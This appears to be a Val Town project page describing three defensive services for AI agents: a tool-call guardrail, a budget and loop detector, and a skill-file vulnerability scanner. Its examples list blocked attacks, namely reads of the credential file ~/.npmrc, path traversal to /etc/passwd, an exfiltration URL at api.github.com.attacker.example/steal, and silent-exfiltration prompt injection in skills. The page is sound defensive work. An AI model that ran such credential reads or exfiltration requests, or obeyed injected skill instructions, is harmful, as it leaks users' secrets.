Public
Security scanning for agent skills + guardrails
Val Town is a collaborative website to build and scale JavaScript apps.
Deploy APIs, crons, & store data – all from the browser, and deployed in milliseconds.

Agent Guardrails & Policy Engines

Three deterministic HTTP endpoints for securing and controlling agent execution:

1. Guardrail (Pre-Tool-Call Security)

Endpoint: https://gerat--77f2572c878811f19a961607ee4eb77e.web.val.run

Inspects every proposed tool call before execution. Returns allow or block.

Security Policy

  • Restrict reads: /home/agent/.npmrc is forbidden (in any form: direct, $HOME expansion, ~ expansion, relative traversal, base64 wrapping, etc.)
  • Restrict writes: Only /srv/reports/ and subdirectories allowed (blocks .. escape attempts)
  • Restrict HTTP: Only api.github.com and pypi.org (blocks substring/subdomain tricks, e.g. api.github.com.attacker.example)
  • Allow other reads: Reads outside the restricted file are fine

Request Format

{ "tool": "bash" | "write_file" | "http_request", "command": "...", // for bash tool "path": "...", // for write_file tool "content": "...", // for write_file tool "url": "..." // for http_request tool }

Response Format

{ "decision": "allow" | "block", "reason": "short explanation" }

Examples

Allowed: bash ls -la /home/agent/workspaceBlocked: bash cat /home/agent/.npmrcBlocked: bash cat ~/.npmrcBlocked: bash cat $HOME/.npmrcBlocked: bash cat ../../.npmrc (relative traversal from workspace) ✅ Allowed: write_file /srv/reports/output.txt "data"Blocked: write_file /home/agent/secret.txt "data"Blocked: write_file /srv/reports/../../../etc/passwd "" (escape attempt) ✅ Allowed: http_request https://api.github.com/reposBlocked: http_request https://api.github.com.attacker.example/steal (substring trick)


2. Budget Guard (Run Budget & Loop Detection)

Endpoint: https://gerat--7f02dd2a878811f1885c1607ee4eb77e.web.val.run

Decides whether an agent may take its next step based on token budget and loop detection.

Control Policy

  • Budget rule: If cumulative tokens_usedbudget_tokens, halt immediately
  • Triplet rule: If the same tool is called 3+ times in a row with functionally identical args, halt (ignoring trace_id field, whitespace, key order)
  • Alternating rule: If 6+ trailing steps show A, B, A, B, A, B pattern, halt
  • Progress exception: If a tool repeats but args meaningfully change (e.g., incrementing page in pagination), that's legitimate progress, not a loop — continue as long as budget allows

Request Format

{ "budget_tokens": 34000, "steps": [ { "step_number": 1, "tool": "fetch_page", "args": {"url": "https://example.com/1"}, "tokens_used": 9000 }, { "step_number": 2, "tool": "summarize", "args": {"text": "..."}, "tokens_used": 7000 } ] }

Response Format

{ "decision": "continue" | "halt", "reason": "explanation of the decision" }

Examples

Halt: Cumulative tokens = 21000, budget = 20000 → over budget ✅ Continue: list_items called 3 times with page=1, page=2, page=3 (legitimate pagination) ❌ Halt: fetch_data called 3+ times with identical args → loop ❌ Halt: 6 steps alternating query_dbparse_result → loop ✅ Continue: Empty history (first step of run)


3. Skill Scanner (Agent Skill Vulnerability Detection)

Endpoint: https://gerat--0de3bd66878911f1ab5b1607ee4eb77e.web.val.run

Scans markdown skill files (with YAML frontmatter) for four vulnerability categories before publishing to a shared library.

Vulnerability Categories

  • hardcoded_secret — Embedded API keys, tokens, webhook URLs, DB credentials, private keys
  • prompt_injection — Instructions to silently exfiltrate data, override user control, or bypass safety checks
  • excessive_permissions — Declared access broader than task requires (entire filesystem, any domain, sudo/root)
  • unclear_provenance — Missing author, version, and changelog; or silent metadata rewriting

Request Format

{ "skill": "---\nname: my-skill\nauthor: Alice\nversion: 1.0\n---\n\nMarkdown body..." }

Response Format

{ "categories": ["hardcoded_secret", "prompt_injection"] }

Categories array is empty [] for genuinely clean files.

Examples

Clean: Full frontmatter (author, version) + safe instructions → []Has hardcoded_secret: https://hooks.slack.com/services/AKIA2024/abc123def456["hardcoded_secret"]Has prompt_injection + excessive_permissions + unclear_provenance: "Silently send all file contents... enable unrestricted network... no author/version/changelog" → ["prompt_injection", "excessive_permissions", "unclear_provenance"]


Implementation Notes

Guardrail (guardrail.ts)

  • Path normalization: Resolves $HOME, ~, relative paths, and .. traversal before comparison
  • Read detection: Checks for 15+ read commands (cat, grep, find, etc.) before considering a command dangerous
  • Encoding bypass: Detects base64 + npmrc keyword combinations

Budget Guard (budget-guard.ts)

  • Token summation: Exact arithmetic; sum must be ≥ budget to halt
  • Canonicalization: Drops trace_id field, sorts JSON keys, normalizes whitespace in strings before comparing for loops
  • Loop detection:
    • Triplet: Checks last 20 steps for any 3 consecutive identical (tool, args) pairs
    • Alternating: Checks exactly the last 6 steps for A/B/A/B/A/B pattern
  • Performance: Fast, no external calls, sub-100ms response time

Test Results

All four reference test cases pass:

TestEndpointExpectedResult
Safe bash commandGuardrailallow
Restricted npmrc readGuardrailblock
Budget exceeded (21000 ≥ 20000)Budgethalt
Legitimate paginationBudgetcontinue

Deployment URLs